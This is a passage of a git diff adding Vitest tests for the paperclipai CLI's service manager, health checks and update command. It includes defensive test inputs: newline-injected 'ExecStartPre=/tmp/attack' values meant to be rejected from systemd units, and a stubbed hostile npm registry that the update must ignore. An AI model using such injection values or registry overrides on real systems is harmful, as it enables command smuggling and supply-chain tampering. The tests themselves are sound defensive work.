expect(readRuntimeInfo("default", filePath)).toBeNull(); + }); + + it("rejects malformed runtime info", () => { + const { filePath } = fixture(); + fs.writeFileSync(filePath, JSON.stringify({ schemaVersion: 1, port: 70_000 })); + expect(readRuntimeInfo("default", filePath)).toBeNull(); + }); +}); diff --git a/cli/src/__tests__/secrets.test.ts b/cli/src/__tests__/secrets.test.ts index 295a8e5e036..8ae2a77ff5c 100644 --- a/cli/src/__tests__/secrets.test.ts +++ b/cli/src/__tests__/secrets.test.ts @@ -139,6 +139,9 @@ describe("secrets CLI helpers", () => { delete process.env.AWS_DEFAULT_REGION; delete process.env.PAPERCLIP_SECRETS_AWS_DEPLOYMENT_ID; delete process.env.PAPERCLIP_SECRETS_AWS_KMS_KEY_ID; + delete process.env.AWS_ACCESS_KEY_ID; + delete process.env.AWS_SECRET_ACCESS_KEY; + delete process.env.AWS_SESSION_TOKEN; }); afterEach(() => { diff --git a/cli/src/__tests__/service-health-check.test.ts b/cli/src/__tests__/service-health-check.test.ts new file mode 100644 index 00000000000..cb4eb298e3c --- /dev/null +++ b/cli/src/__tests__/service-health-check.test.ts @@ -0,0 +1,255 @@ +import fs from "node:fs"; +import os from "node:os"; +import path from "node:path"; +import { afterEach, beforeEach, describe, expect, it, vi } from "vitest"; +import { serviceHealthChecks } from "../checks/service-health-check.js"; +import { + extractExecutableFromLaunchdPlist, + extractExecutableFromSystemdUnit, + isExecutableFile, + renderLaunchdPlist, + renderSystemdUnit, +} from "../services/service-manager.js"; +import { resolveRestartExpectedVersion, withHotRestartLock } from "../commands/service.js"; +import type { PaperclipConfig } from "../config/schema.js"; +import { buildLocalHealthUrl } from "../utils/health-url.js"; + +const config = { + server: { host: "127.0.0.1", port: 3100 }, +} as PaperclipConfig; + +let previousPaperclipHome: string | undefined; +let previousServiceManaged: string | undefined; + +beforeEach(() => { + previousPaperclipHome = process.env.PAPERCLIP_HOME; + previousServiceManaged = process.env.PAPERCLIP_SERVICE_MANAGED; + process.env.PAPERCLIP_HOME = fs.mkdtempSync(path.join(os.tmpdir(), "paperclip-service-restart-")); +}); + +afterEach(() => { + if (previousPaperclipHome === undefined) delete process.env.PAPERCLIP_HOME; + else process.env.PAPERCLIP_HOME = previousPaperclipHome; + if (previousServiceManaged === undefined) delete process.env.PAPERCLIP_SERVICE_MANAGED; + else process.env.PAPERCLIP_SERVICE_MANAGED = previousServiceManaged; +}); + +function managerFixture(active = true) { + const root = fs.mkdtempSync(path.join(os.tmpdir(), "paperclip-service-doctor-")); + const definitionPath = path.join(root, "paperclipai.service"); + fs.writeFileSync(definitionPath, "unit"); + return { + platform: "systemd" as const, + instanceId: "default", + serviceName: "paperclipai.service", + definitionPath, + renderDefinition: () => "unit", + install: vi.fn(async () => ({ changed: false })), + uninstall: vi.fn(async () => undefined), + start: vi.fn(async () => undefined), + stop: vi.fn(async () => undefined), + restart: vi.fn(async () => undefined), + status: vi.fn(async () => ({ + platform: "systemd" as const, + serviceName: "paperclipai.service", + installed: true, + active, + enabled: true, + pid: active ? 123 : null, + linger: true, + })), + logs: vi.fn(async () => undefined), + installedExecutablePath: vi.fn(async () => null), + }; +} + +describe("service health doctor checks", () => { + it("skips live service checks during the managed unit's own activation", async () => { + process.env.PAPERCLIP_SERVICE_MANAGED = "1"; + const detect = vi.fn(); + const probe = vi.fn(); + await expect(serviceHealthChecks(config, { detect, probe })).resolves.toEqual([]); + expect(detect).not.toHaveBeenCalled(); + expect(probe).not.toHaveBeenCalled(); + }); + + it("skips exact version matching unless a restart version is explicit", () => { + expect(resolveRestartExpectedVersion(null)).toBeNull(); + expect(resolveRestartExpectedVersion(undefined)).toBeNull(); + expect(resolveRestartExpectedVersion("1.2.3")).toBe("1.2.3"); + }); + + it("serializes concurrent restarts for the same instance", async () => { + const order: string[] = []; + let releaseFirst!: () => void; + const firstBlocked = new Promise((resolve) => { releaseFirst = resolve; }); + const first = withHotRestartLock("default", async () => { + order.push("first-start"); + await firstBlocked; + order.push("first-end"); + }, { pollMs: 5 }); + + await vi.waitFor(() => expect(order).toEqual(["first-start"])); + const second = withHotRestartLock("default", async () => { + order.push("second-start"); + }, { pollMs: 5 }); + await new Promise((resolve) => setTimeout(resolve, 20)); + expect(order).toEqual(["first-start"]); + + releaseFirst(); + await Promise.all([first, second]); + expect(order).toEqual(["first-start", "first-end", "second-start"]); + }); + + it("reclaims restart locks left by terminated processes", async () => { + const lockPath = path.join(process.env.PAPERCLIP_HOME!, "instances", "default", "hot-restart.lock"); + fs.mkdirSync(path.dirname(lockPath), { recursive: true }); + fs.writeFileSync(lockPath, "424242:stale-token\n"); + const callback = vi.fn(async () => "restarted"); + + await expect(withHotRestartLock("default", callback, { + pollMs: 1, + timeoutMs: 20, + isProcessAlive: () => false, + })).resolves.toBe("restarted"); + + expect(callback).toHaveBeenCalledOnce(); + expect(fs.existsSync(lockPath)).toBe(false); + }); + + it("brackets configured IPv6 hosts in health URLs", () => { + expect(buildLocalHealthUrl("::1", 3100)).toBe("http://[::1]:3100/api/health"); + expect(buildLocalHealthUrl("::", 3100)).toBe("http://127.0.0.1:3100/api/health"); + }); + + it("passes for a current, active, healthy service", async () => { + const manager = managerFixture(); + const results = await serviceHealthChecks(config, { + detect: vi.fn(async () => ({ supported: true as const, manager })), + probe: vi.fn(async () => ({ ok: true, version: "1.2.3" })), + }); + + expect(results.every((result) => result.status === "pass")).toBe(true); + }); + + it("detects a foreground process on the configured port while the service is inactive", async () => { + const manager = managerFixture(false); + const results = await serviceHealthChecks(config, { + detect: vi.fn(async () => ({ supported: true as const, manager })), + probe: vi.fn(async () => ({ ok: true, version: "1.2.3" })), + shimPresent: vi.fn(async () => true), + }); + + expect(results).toContainEqual( + expect.objectContaining({ + name: "Service runtime", + status: "fail", + message: expect.stringContaining("another Paperclip process"), + }), + ); + }); +}); + +describe("isExecutableFile", () => { + it("accepts only executable regular files", async () => { + const dir = fs.mkdtempSync(path.join(os.tmpdir(), "shim-check-")); + const executable = path.join(dir, "exec"); + const plain = path.join(dir, "plain"); + fs.writeFileSync(executable, "#!/bin/sh\n", { mode: 0o755 }); + fs.writeFileSync(plain, "data", { mode: 0o644 }); + + await expect(isExecutableFile(executable)).resolves.toBe(true); + await expect(isExecutableFile(plain)).resolves.toBe(false); + await expect(isExecutableFile(dir)).resolves.toBe(false); + await expect(isExecutableFile(path.join(dir, "missing"))).resolves.toBe(false); + }); +}); + +describe("service runtime shim awareness", () => { + function inactiveManager() { + return { + platform: "launchd" as const, + instanceId: "default", + serviceName: "ing.paperclip.paperclipai", + definitionPath: "/tmp/nonexistent-definition.plist", + renderDefinition: () => "plist", + install: vi.fn(async () => ({ changed: false })), + uninstall: vi.fn(async () => undefined), + start: vi.fn(async () => undefined), + stop: vi.fn(async () => undefined), + restart: vi.fn(async () => undefined), + status: vi.fn(async () => ({ + platform: "launchd" as const, + serviceName: "ing.paperclip.paperclipai", + installed: true, + active: false, + enabled: true, + pid: null, + detail: "loaded", + })), + logs: vi.fn(async () => undefined), + installedExecutablePath: vi.fn(async (): Promise => null), + }; + } + + it("blames the missing binary, not a port conflict, when the shim is gone", async () => { + const results = await serviceHealthChecks({} as never, { + detect: vi.fn(async () => ({ supported: true as const, manager: inactiveManager() as never })), + probe: vi.fn(async () => ({ ok: false, version: null, error: "fetch failed" })), + shimPresent: vi.fn(async () => false), + }); + const runtime = results.find((r) => r.name === "Service runtime"); + expect(runtime?.status).toBe("fail"); + expect(runtime?.message).toContain("no executable exists at"); + expect(runtime?.repairHint).toContain("paperclipai install"); + }); + + it("diagnoses against the executable recorded in the definition, not the current env", async () => { + const manager = inactiveManager(); + manager.installedExecutablePath = vi.fn(async () => "/custom/bin/paperclipai"); + const shimPresent = vi.fn(async () => false); + const results = await serviceHealthChecks({} as never, { + detect: vi.fn(async () => ({ supported: true as const, manager: manager as never })), + probe: vi.fn(async () => ({ ok: false, version: null, error: "fetch failed" })), + shimPresent, + }); + const runtime = results.find((r) => r.name === "Service runtime"); + expect(shimPresent).toHaveBeenCalledWith("/custom/bin/paperclipai"); + expect(runtime?.message).toContain("/custom/bin/paperclipai"); + expect(runtime?.repairHint).toContain("/custom/bin/paperclipai"); + expect(runtime?.repairHint).toContain("unset PAPERCLIP_SHIM_PATH"); + expect(runtime?.repairHint).toContain("`paperclipai install` followed by `paperclipai service install`"); + }); + + it("attributes a healthy foreign responder instead of reporting Healthy", async () => { + const results = await serviceHealthChecks({} as never, { + detect: vi.fn(async () => ({ supported: true as const, manager: inactiveManager() as never })), + probe: vi.fn(async () => ({ ok: true, version: "9.9.9" })), + shimPresent: vi.fn(async () => true), + }); + const healthResult = results.find((r) => r.name === "Service health"); + expect(healthResult?.status).toBe("warn"); + expect(healthResult?.message).toContain("but not from ing.paperclip.paperclipai"); + const runtime = results.find((r) => r.name === "Service runtime"); + expect(runtime?.message).toContain("serving another Paperclip process"); + }); +}); + +describe("definition executable extraction", () => { + it("round-trips through both renderers", () => { + const unit = renderSystemdUnit({ instanceId: "default", shimPath: "/custom/bin/paperclipai", homeDir: "/home/x/.paperclip" }); + expect(extractExecutableFromSystemdUnit(unit)).toBe("/custom/bin/paperclipai"); + const plist = renderLaunchdPlist({ instanceId: "default", shimPath: "/custom/bin/paperclipai", homeDir: "/home/x/.paperclip", stdoutPath: "/tmp/o.log", stderrPath: "/tmp/e.log" }); + expect(extractExecutableFromLaunchdPlist(plist)).toBe("/custom/bin/paperclipai"); + expect(extractExecutableFromSystemdUnit("garbage")).toBe(null); + expect(extractExecutableFromLaunchdPlist("garbage")).toBe(null); + }); + + it("round-trips paths the renderers escape", () => { + const hostile = '/tmp/we"ird $pa%th & /paperclipai'; + const unit = renderSystemdUnit({ instanceId: "default", shimPath: hostile, homeDir: "/home/x/.paperclip" }); + expect(extractExecutableFromSystemdUnit(unit)).toBe(hostile); + const plist = renderLaunchdPlist({ instanceId: "default", shimPath: hostile, homeDir: "/home/x/.paperclip", stdoutPath: "/tmp/o.log", stderrPath: "/tmp/e.log" }); + expect(extractExecutableFromLaunchdPlist(plist)).toBe(hostile); + }); +}); diff --git a/cli/src/__tests__/service-manager.test.ts b/cli/src/__tests__/service-manager.test.ts new file mode 100644 index 00000000000..f64a3125521 --- /dev/null +++ b/cli/src/__tests__/service-manager.test.ts @@ -0,0 +1,216 @@ +import fs from "node:fs/promises"; +import os from "node:os"; +import path from "node:path"; +import { afterEach, describe, expect, it } from "vitest"; +import { + assertForegroundRunAllowed, + detectServiceManager, + LaunchdServiceManager, + renderLaunchdPlist, + renderSystemdUnit, + SystemdServiceManager, + type CommandRunner, + type ServiceManager, +} from "../services/service-manager.js"; + +const temporaryDirectories: string[] = []; + +afterEach(async () => { + await Promise.all(temporaryDirectories.splice(0).map((directory) => fs.rm(directory, { recursive: true, force: true }))); + delete process.env.PAPERCLIP_SERVICE_MANAGED; +}); + +async function temporaryDirectory(): Promise { + const directory = await fs.mkdtemp(path.join(os.tmpdir(), "paperclip-service-test-")); + temporaryDirectories.push(directory); + return directory; +} + +describe("service definition generation", () => { + it("generates a stable systemd notify unit without secrets", () => { + const unit = renderSystemdUnit({ instanceId: "team-a", shimPath: "/home/alice/.local/bin/paperclipai", homeDir: "/home/alice/.paperclip" }); + expect(unit).toContain("Type=notify"); + expect(unit).toContain("NotifyAccess=all"); + expect(unit).toContain('ExecStart="/home/alice/.local/bin/paperclipai" run --instance "team-a"'); + expect(unit).toContain("Restart=always"); + expect(unit).toContain("TimeoutStopSec=300"); + expect(unit).not.toContain("API_KEY"); + }); + + it("escapes systemd variable and specifier expansion in configured values", () => { + const unit = renderSystemdUnit({ + instanceId: "team-$USER-%i", + shimPath: "/home/$USER/%i/paperclipai", + homeDir: "/home/$USER/%i/.paperclip", + }); + + expect(unit).toContain('ExecStart="/home/$$USER/%%i/paperclipai" run --instance "team-$$USER-%%i"'); + expect(unit).toContain('Environment="PAPERCLIP_HOME=/home/$$USER/%%i/.paperclip"'); + }); + + it.each([ + ["instanceId", { instanceId: "team-a\nExecStartPre=/tmp/attack", shimPath: "/home/alice/.local/bin/paperclipai", homeDir: "/home/alice/.paperclip" }], + ["shimPath", { instanceId: "team-a", shimPath: "/home/alice/bin/paperclipai\r\nExecStartPre=/tmp/attack", homeDir: "/home/alice/.paperclip" }], + ["homeDir", { instanceId: "team-a", shimPath: "/home/alice/.local/bin/paperclipai", homeDir: "/home/alice/.paperclip\nEnvironment=ATTACK=1" }], + ])("rejects line breaks in the systemd %s", (_field, input) => { + expect(() => renderSystemdUnit(input)).toThrow("Systemd service values must not contain line breaks"); + }); + + it("generates a launchd agent with keepalive and instance logs", () => { + const plist = renderLaunchdPlist({ instanceId: "team-a", shimPath: "/Users/alice/.local/bin/paperclipai", homeDir: "/Users/alice/.paperclip", stdoutPath: "/Users/alice/.paperclip/instances/team-a/logs/service.log", stderrPath: "/Users/alice/.paperclip/instances/team-a/logs/service.err.log" }); + expect(plist).toContain("ing.paperclip.paperclipai.team-a"); + expect(plist).toContain("RunAtLoad"); + expect(plist).toContain("KeepAlive"); + expect(plist).toContain("service.err.log"); + }); +}); + +describe("systemd drift regeneration", () => { + it("rewrites a drifted unit and reloads the user manager", async () => { + const userHome = await temporaryDirectory(); + const calls: string[] = []; + const runner: CommandRunner = async (command, args) => { + calls.push([command, ...args].join(" ")); + return { stdout: "", stderr: "" }; + }; + const manager = new SystemdServiceManager("default", runner, path.join(userHome, ".paperclip"), path.join(userHome, ".local/bin/paperclipai"), userHome); + await fs.mkdir(path.dirname(manager.definitionPath), { recursive: true }); + await fs.writeFile(manager.definitionPath, "stale\n", "utf8"); + + const result = await manager.install({ startNow: false, startOnLogin: false }); + + expect(result.changed).toBe(true); + expect(await fs.readFile(manager.definitionPath, "utf8")).toBe(manager.renderDefinition()); + expect(calls).toContain("systemctl --user daemon-reload"); + }); + + it("keeps the unit installed when stopping an active service fails", async () => { + const userHome = await temporaryDirectory(); + const runner: CommandRunner = async (command, args) => { + if (args.includes("--property=LoadState,ActiveState,UnitFileState,MainPID")) return { stdout: "LoadState=loaded\nActiveState=active\nUnitFileState=enabled\nMainPID=42\n", stderr: "" }; + if (command === "systemctl" && args.includes("stop")) throw new Error("stop failed"); + return { stdout: "", stderr: "" }; + }; + const manager = new SystemdServiceManager("default", runner, path.join(userHome, ".paperclip"), path.join(userHome, ".local/bin/paperclipai"), userHome); + await fs.mkdir(path.dirname(manager.definitionPath), { recursive: true }); + await fs.writeFile(manager.definitionPath, manager.renderDefinition(), "utf8"); + + await expect(manager.uninstall()).rejects.toThrow("stop failed"); + await expect(fs.access(manager.definitionPath)).resolves.toBeUndefined(); + }); +}); + +describe("service adapter dispatch", () => { + it("selects launchd on macOS", async () => { + const detection = await detectServiceManager({ platform: "darwin", instanceId: "default" }); + expect(detection.supported).toBe(true); + if (detection.supported) expect(detection.manager).toBeInstanceOf(LaunchdServiceManager); + }); + + it("selects systemd only when the user manager is reachable", async () => { + const runner: CommandRunner = async () => ({ stdout: "", stderr: "" }); + const detection = await detectServiceManager({ platform: "linux", instanceId: "default", runner }); + expect(detection.supported).toBe(true); + if (detection.supported) expect(detection.manager).toBeInstanceOf(SystemdServiceManager); + }); + + it("returns a foreground-run skip on unsupported hosts", async () => { + const runner: CommandRunner = async () => { throw new Error("no bus"); }; + const detection = await detectServiceManager({ platform: "linux", instanceId: "default", runner }); + expect(detection).toEqual({ supported: false, reason: expect.stringContaining("paperclipai run") }); + }); +}); + +describe("launchd lifecycle", () => { + it("starts without changing the saved login preference", async () => { + const userHome = await temporaryDirectory(); + const calls: string[] = []; + const runner: CommandRunner = async (command, args) => { + calls.push([command, ...args].join(" ")); + if (args[0] === "print-disabled") return { stdout: `\"ing.paperclip.paperclipai.team-a\" => true`, stderr: "" }; + return { stdout: "", stderr: "" }; + }; + const manager = new LaunchdServiceManager("team-a", runner, path.join(userHome, ".paperclip"), path.join(userHome, ".local/bin/paperclipai"), userHome); + + await manager.start(); + + expect(calls).toContain(`launchctl disable gui/${process.getuid?.() ?? 0}/ing.paperclip.paperclipai.team-a`); + expect(calls).not.toContain(`launchctl enable gui/${process.getuid?.() ?? 0}/ing.paperclip.paperclipai.team-a`); + }); + + it("preserves disabled state when the service name contains regex metacharacters", async () => { + const userHome = await temporaryDirectory(); + const calls: string[] = []; + const serviceName = "ing.paperclip.paperclipai.team[qa]+"; + const runner: CommandRunner = async (command, args) => { + calls.push([command, ...args].join(" ")); + if (args[0] === "print-disabled") return { stdout: `"${serviceName}" => true`, stderr: "" }; + return { stdout: "", stderr: "" }; + }; + const manager = new LaunchdServiceManager("team[qa]+", runner, path.join(userHome, ".paperclip"), path.join(userHome, ".local/bin/paperclipai"), userHome); + + await manager.start(); + + expect(calls).toContain(`launchctl disable gui/${process.getuid?.() ?? 0}/${serviceName}`); + expect(calls).not.toContain(`launchctl enable gui/${process.getuid?.() ?? 0}/${serviceName}`); + }); + + it("disables login startup and unloads the keepalive job when stopped", async () => { + const userHome = await temporaryDirectory(); + const calls: string[] = []; + const runner: CommandRunner = async (command, args) => { + calls.push([command, ...args].join(" ")); + return { stdout: "", stderr: "" }; + }; + const manager = new LaunchdServiceManager("team-a", runner, path.join(userHome, ".paperclip"), path.join(userHome, ".local/bin/paperclipai"), userHome); + + await manager.install({ startNow: false, startOnLogin: false }); + await manager.stop(); + + expect(calls).toContain(`launchctl disable gui/${process.getuid?.() ?? 0}/ing.paperclip.paperclipai.team-a`); + expect(calls).toContain(`launchctl bootout gui/${process.getuid?.() ?? 0}/ing.paperclip.paperclipai.team-a`); + expect(calls.some((call) => call.includes("launchctl kill"))).toBe(false); + }); + + it("disables login startup when uninstalled", async () => { + const userHome = await temporaryDirectory(); + const calls: string[] = []; + const runner: CommandRunner = async (command, args) => { + calls.push([command, ...args].join(" ")); + return { stdout: "", stderr: "" }; + }; + const manager = new LaunchdServiceManager("team-a", runner, path.join(userHome, ".paperclip"), path.join(userHome, ".local/bin/paperclipai"), userHome); + + await manager.uninstall(); + + expect(calls).toContain(`launchctl disable gui/${process.getuid?.() ?? 0}/ing.paperclip.paperclipai.team-a`); + }); +}); + +describe("single-writer guard", () => { + const activeManager = { status: async () => ({ active: true, serviceName: "paperclipai.service" }) } as unknown as ServiceManager; + const detector = async () => ({ supported: true as const, manager: activeManager }); + + it("refuses a second foreground writer", async () => { + await expect(assertForegroundRunAllowed("default", false, detector)).rejects.toThrow("already running"); + }); + + it("allows an explicit force override", async () => { + await expect(assertForegroundRunAllowed("default", true, detector)).resolves.toBeUndefined(); + }); + + it("allows the supervisor-owned process", async () => { + process.env.PAPERCLIP_SERVICE_MANAGED = "1"; + await expect(assertForegroundRunAllowed("default", false, detector)).resolves.toBeUndefined(); + }); + + it("refuses to replace a symlinked service definition", async () => { + const userHome = await temporaryDirectory(); + const manager = new SystemdServiceManager("default", async () => ({ stdout: "", stderr: "" }), path.join(userHome, ".paperclip"), path.join(userHome, ".local/bin/paperclipai"), userHome); + await fs.mkdir(path.dirname(manager.definitionPath), { recursive: true }); + const target = path.join(userHome, "target.service"); await fs.writeFile(target, "preserve\n"); await fs.symlink(target, manager.definitionPath); + await expect(manager.install({ startNow: false, startOnLogin: false })).rejects.toThrow("unsafe service definition"); + expect(await fs.readFile(target, "utf8")).toBe("preserve\n"); + }); + +}); diff --git a/cli/src/__tests__/skills.test.ts b/cli/src/__tests__/skills.test.ts index 038b9812f1b..80d0dd3c791 100644 --- a/cli/src/__tests__/skills.test.ts +++ b/cli/src/__tests__/skills.test.ts @@ -479,6 +479,8 @@ describe("skills CLI commands", () => { "review-prs", "--skill", "paperclip/qa", + "--mode", + "add", "--company-id", "company-1", "--api-base", @@ -498,7 +500,7 @@ describe("skills CLI commands", () => { "http://paperclip.test/api/agents/agent-1/skills/sync", expect.objectContaining({ method: "POST", - body: JSON.stringify({ desiredSkills: ["review-prs", "paperclip/qa"] }), + body: JSON.stringify({ desiredSkills: ["review-prs", "paperclip/qa"], mode: "add" }), }), ); expect(JSON.parse(String(logSpy.mock.calls[0]?.[0]))).toEqual(snapshot); diff --git a/cli/src/__tests__/update-command.test.ts b/cli/src/__tests__/update-command.test.ts new file mode 100644 index 00000000000..2b5c68f0c2b --- /dev/null +++ b/cli/src/__tests__/update-command.test.ts @@ -0,0 +1,240 @@ +import fs from "node:fs"; +import os from "node:os"; +import path from "node:path"; +import { afterEach, beforeEach, describe, expect, it, vi } from "vitest"; +import { flipCurrentAtomic, initializeInstallStore, payloadPathFor, readInstallManifest, resolveInstallStorePaths, writeInstallManifestAtomic, type InstallManifest, type InstallRecord } from "../install-store.js"; +import type { CommandRunner } from "../commands/install.js"; +import { compareVersions, detectInstallMode, resolveUpdateRequest, rollbackManagedInstall, updateCommand } from "../commands/update.js"; + +let root: string; +let previousHome: string | undefined; +let previousPaperclipHome: string | undefined; + +function record(payloadPath: string, version: string, channel: "latest" | "canary" | "pinned" = "latest"): InstallRecord { + return { source: "npm", version, channel, payloadPath, installedAt: `2026-07-22T00:00:0${version}.000Z` }; +} +function createPayload(payloadPath: string, version: string): string { + const entrypoint = path.join(payloadPath, "node_modules", "paperclipai", "dist", "index.js"); + fs.mkdirSync(path.dirname(entrypoint), { recursive: true }); + fs.writeFileSync(entrypoint, version); + return entrypoint; +} +beforeEach(() => { + root = fs.mkdtempSync(path.join(os.tmpdir(), "paperclip-update-")); + previousHome = process.env.HOME; + previousPaperclipHome = process.env.PAPERCLIP_HOME; + process.env.HOME = path.join(root, "home"); + process.env.PAPERCLIP_HOME = path.join(root, "paperclip"); +}); +afterEach(() => { + vi.restoreAllMocks(); + vi.unstubAllEnvs(); + if (previousHome === undefined) delete process.env.HOME; else process.env.HOME = previousHome; + if (previousPaperclipHome === undefined) delete process.env.PAPERCLIP_HOME; else process.env.PAPERCLIP_HOME = previousPaperclipHome; + fs.rmSync(root, { recursive: true, force: true }); + process.exitCode = undefined; +}); + +describe("update command", () => { + it("orders SemVer prerelease identifiers numerically", () => { + expect(compareVersions("1.0.0-canary.10", "1.0.0-canary.2")).toBeGreaterThan(0); + expect(compareVersions("1.0.0-1", "1.0.0-alpha")).toBeLessThan(0); + expect(compareVersions("1.0.0-alpha", "1.0.0-alpha.1")).toBeLessThan(0); + }); + + it("detects managed, global npm, npx, and source modes", () => { + const paths = resolveInstallStorePaths(); initializeInstallStore(paths); + const payload = payloadPathFor(paths, "npm", "1.0.0"); const entrypoint = createPayload(payload, "1.0.0"); + flipCurrentAtomic(payload, paths); + writeInstallManifestAtomic({ schemaVersion: 1, ...record(payload, "1.0.0"), previous: [] }, paths); + expect(detectInstallMode(entrypoint, paths)).toBe("managed"); + expect(detectInstallMode(path.join(root, "lib", "node_modules", "paperclipai", "dist", "index.js"), paths)).toBe("global-npm"); + expect(detectInstallMode(path.join(root, ".npm", "_npx", "abc", "node_modules", "paperclipai", "dist", "index.js"), paths)).toBe("npx"); + const source = path.join(root, "source"); fs.mkdirSync(path.join(source, ".git"), { recursive: true }); + expect(detectInstallMode(path.join(source, "cli", "src", "index.ts"), paths)).toBe("source"); + }); + + it("resolves channels and keeps pinned installs pinned by default", () => { + const manifest = { channel: "pinned", version: "1.2.3" } as InstallManifest; + expect(resolveUpdateRequest(manifest, {})).toEqual({ spec: "1.2.3", channel: "pinned", explicit: false }); + expect(resolveUpdateRequest(manifest, { latest: true })).toEqual({ spec: "latest", channel: "latest", explicit: true }); + expect(() => resolveUpdateRequest(manifest, { latest: true, canary: true })).toThrow("only one"); + }); + + it("re-resolves a moving git branch and activates the new SHA payload", async () => { + const paths = resolveInstallStorePaths(); initializeInstallStore(paths); + const oldSha = "1".repeat(40); const newSha = "2".repeat(40); + const oldPayload = payloadPathFor(paths, "git", oldSha.slice(0, 12)); + const executable = createPayload(oldPayload, "0.3.1"); + fs.writeFileSync(path.join(oldPayload, "node_modules", "paperclipai", "package.json"), JSON.stringify({ version: "0.3.1" })); + const newPayload = payloadPathFor(paths, "git", newSha.slice(0, 12)); + createPayload(newPayload, "0.3.1"); + fs.writeFileSync(path.join(newPayload, "node_modules", "paperclipai", "package.json"), JSON.stringify({ version: "0.3.1" })); + flipCurrentAtomic(oldPayload, paths); + writeInstallManifestAtomic({ schemaVersion: 1, source: "git", version: "0.3.1", channel: "pinned", repo: "paperclipai/paperclip", ref: "master", sha: oldSha, payloadPath: oldPayload, installedAt: "2026-07-22T00:00:00.000Z", previous: [] }, paths); + const backup = vi.fn(async () => undefined); + const confirm = vi.fn(async () => true); + const restartActiveService = vi.fn(async () => true); + const runCommand = vi.fn(async (file: string) => file === "curl" ? { stdout: JSON.stringify({ sha: newSha }), stderr: "" } : { stdout: "0.3.1\n", stderr: "" }); + await updateCommand({}, { paths, executablePath: executable, runCommand, backup, confirm, restartActiveService, hasInstanceData: () => true, now: () => new Date("2026-07-22T12:00:00Z") }); + expect(confirm).toHaveBeenCalledWith(expect.stringContaining(`commit ${newSha.slice(0, 12)}`)); + expect(backup).toHaveBeenCalledOnce(); + expect(restartActiveService).toHaveBeenCalledWith("0.3.1"); + expect(readInstallManifest(paths)?.sha).toBe(newSha); + expect(fs.realpathSync(paths.currentPath)).toBe(fs.realpathSync(newPayload)); + }); + + it("reports SHA git installs as pinned without resolving again", async () => { + const paths = resolveInstallStorePaths(); initializeInstallStore(paths); + const sha = "3".repeat(40); const payload = payloadPathFor(paths, "git", sha.slice(0, 12)); const executable = createPayload(payload, "0.3.1"); + flipCurrentAtomic(payload, paths); + writeInstallManifestAtomic({ schemaVersion: 1, source: "git", version: "0.3.1", channel: "pinned", repo: "paperclipai/paperclip", ref: sha.slice(0, 12), sha, payloadPath: payload, installedAt: "2026-07-22T00:00:00.000Z", previous: [] }, paths); + const runCommand = vi.fn(async () => ({ stdout: "", stderr: "" })); + await updateCommand({}, { paths, executablePath: executable, runCommand }); + expect(runCommand).not.toHaveBeenCalled(); + }); + + it("requires explicit confirmation before downgrading", async () => { + const paths = resolveInstallStorePaths(); initializeInstallStore(paths); + const payload = payloadPathFor(paths, "npm", "2.0.0"); const entrypoint = createPayload(payload, "2.0.0"); flipCurrentAtomic(payload, paths); + writeInstallManifestAtomic({ schemaVersion: 1, ...record(payload, "2.0.0"), previous: [] }, paths); + const runCommand = vi.fn(async () => ({ stdout: '"1.0.0"\n', stderr: "" })); + await expect(updateCommand({ version: "1.0.0", dryRun: true }, { paths, executablePath: entrypoint, runCommand, confirm: async () => false })).rejects.toThrow("Downgrade cancelled"); + }); + + it("requires explicit confirmation before a global npm downgrade", async () => { + const paths = resolveInstallStorePaths(); + const executable = path.join(root, "lib", "node_modules", "paperclipai", "dist", "index.js"); + const runCommand = vi.fn(async () => ({ stdout: '"0.2.0"\n', stderr: "" })); + await expect(updateCommand({ version: "0.2.0" }, { paths, executablePath: executable, runCommand, confirm: async () => false })).rejects.toThrow("Downgrade cancelled"); + expect(runCommand).toHaveBeenCalledTimes(1); + }); + + it("isolates global npm updates from hostile registry configuration", async () => { + const paths = resolveInstallStorePaths(); + const executable = path.join(root, "lib", "node_modules", "paperclipai", "dist", "index.js"); + vi.stubEnv("NPM_CONFIG_REGISTRY", "http://attacker-registry.invalid"); + fs.mkdirSync(process.env.HOME!, { recursive: true }); + fs.writeFileSync(path.join(process.env.HOME!, ".npmrc"), "registry=http://attacker-registry.invalid\n"); + const runCommand = vi.fn(async (_file, args, commandOptions) => { + if (args[0] === "view") return { stdout: '"2.0.0"\n', stderr: "" }; + expect(args).toContain("--registry=https://registry.npmjs.org"); + expect(args).toContain("--@paperclipai:registry=https://registry.npmjs.org"); + expect(commandOptions?.env?.NPM_CONFIG_REGISTRY).toBe("https://registry.npmjs.org"); + expect(commandOptions?.env?.npm_config_registry).toBe("https://registry.npmjs.org"); + expect(commandOptions?.env?.NPM_CONFIG_USERCONFIG).toBe(commandOptions?.env?.npm_config_userconfig); + expect(fs.readFileSync(commandOptions!.env!.NPM_CONFIG_USERCONFIG!, "utf8")).toContain("registry=https://registry.npmjs.org"); + return { stdout: "", stderr: "" }; + }); + await updateCommand({}, { paths, executablePath: executable, runCommand }); + expect(runCommand).toHaveBeenCalledTimes(2); + }); + + it("backs up, installs side-by-side, flips, and rolls back instantly", async () => { + const paths = resolveInstallStorePaths(); initializeInstallStore(paths); + const oldPayload = payloadPathFor(paths, "npm", "1.0.0"); const executable = createPayload(oldPayload, "1.0.0"); flipCurrentAtomic(oldPayload, paths); + writeInstallManifestAtomic({ schemaVersion: 1, ...record(oldPayload, "1.0.0"), previous: [] }, paths); + const backup = vi.fn(async () => undefined); + const restartActiveService = vi.fn(async () => true); + const runCommand = vi.fn(async (file: string, args: string[]) => { + if (args[0] === "view") return { stdout: '"2.0.0"\n', stderr: "" }; + if (file === "npm" && args[0] === "install") { const prefix = args[args.indexOf("--prefix") + 1]; createPayload(prefix, "2.0.0"); return { stdout: "", stderr: "" }; } + return { stdout: "2.0.0\n", stderr: "" }; + }); + await updateCommand({}, { paths, executablePath: executable, runCommand, backup, restartActiveService, hasInstanceData: () => true, now: () => new Date("2026-07-22T12:00:00Z") }); + expect(backup).toHaveBeenCalledOnce(); + expect(restartActiveService).toHaveBeenCalledWith("2.0.0"); + expect(readInstallManifest(paths)?.version).toBe("2.0.0"); + expect(fs.realpathSync(paths.currentPath)).toBe(fs.realpathSync(payloadPathFor(paths, "npm", "2.0.0"))); + const rolledBack = rollbackManagedInstall(paths); + expect(rolledBack.version).toBe("1.0.0"); + expect(fs.realpathSync(paths.currentPath)).toBe(fs.realpathSync(oldPayload)); + }); + + it("explains how to recover when the pre-update database is unreachable", async () => { + const paths = resolveInstallStorePaths(); initializeInstallStore(paths); + const oldPayload = payloadPathFor(paths, "npm", "1.0.0"); const executable = createPayload(oldPayload, "1.0.0"); flipCurrentAtomic(oldPayload, paths); + 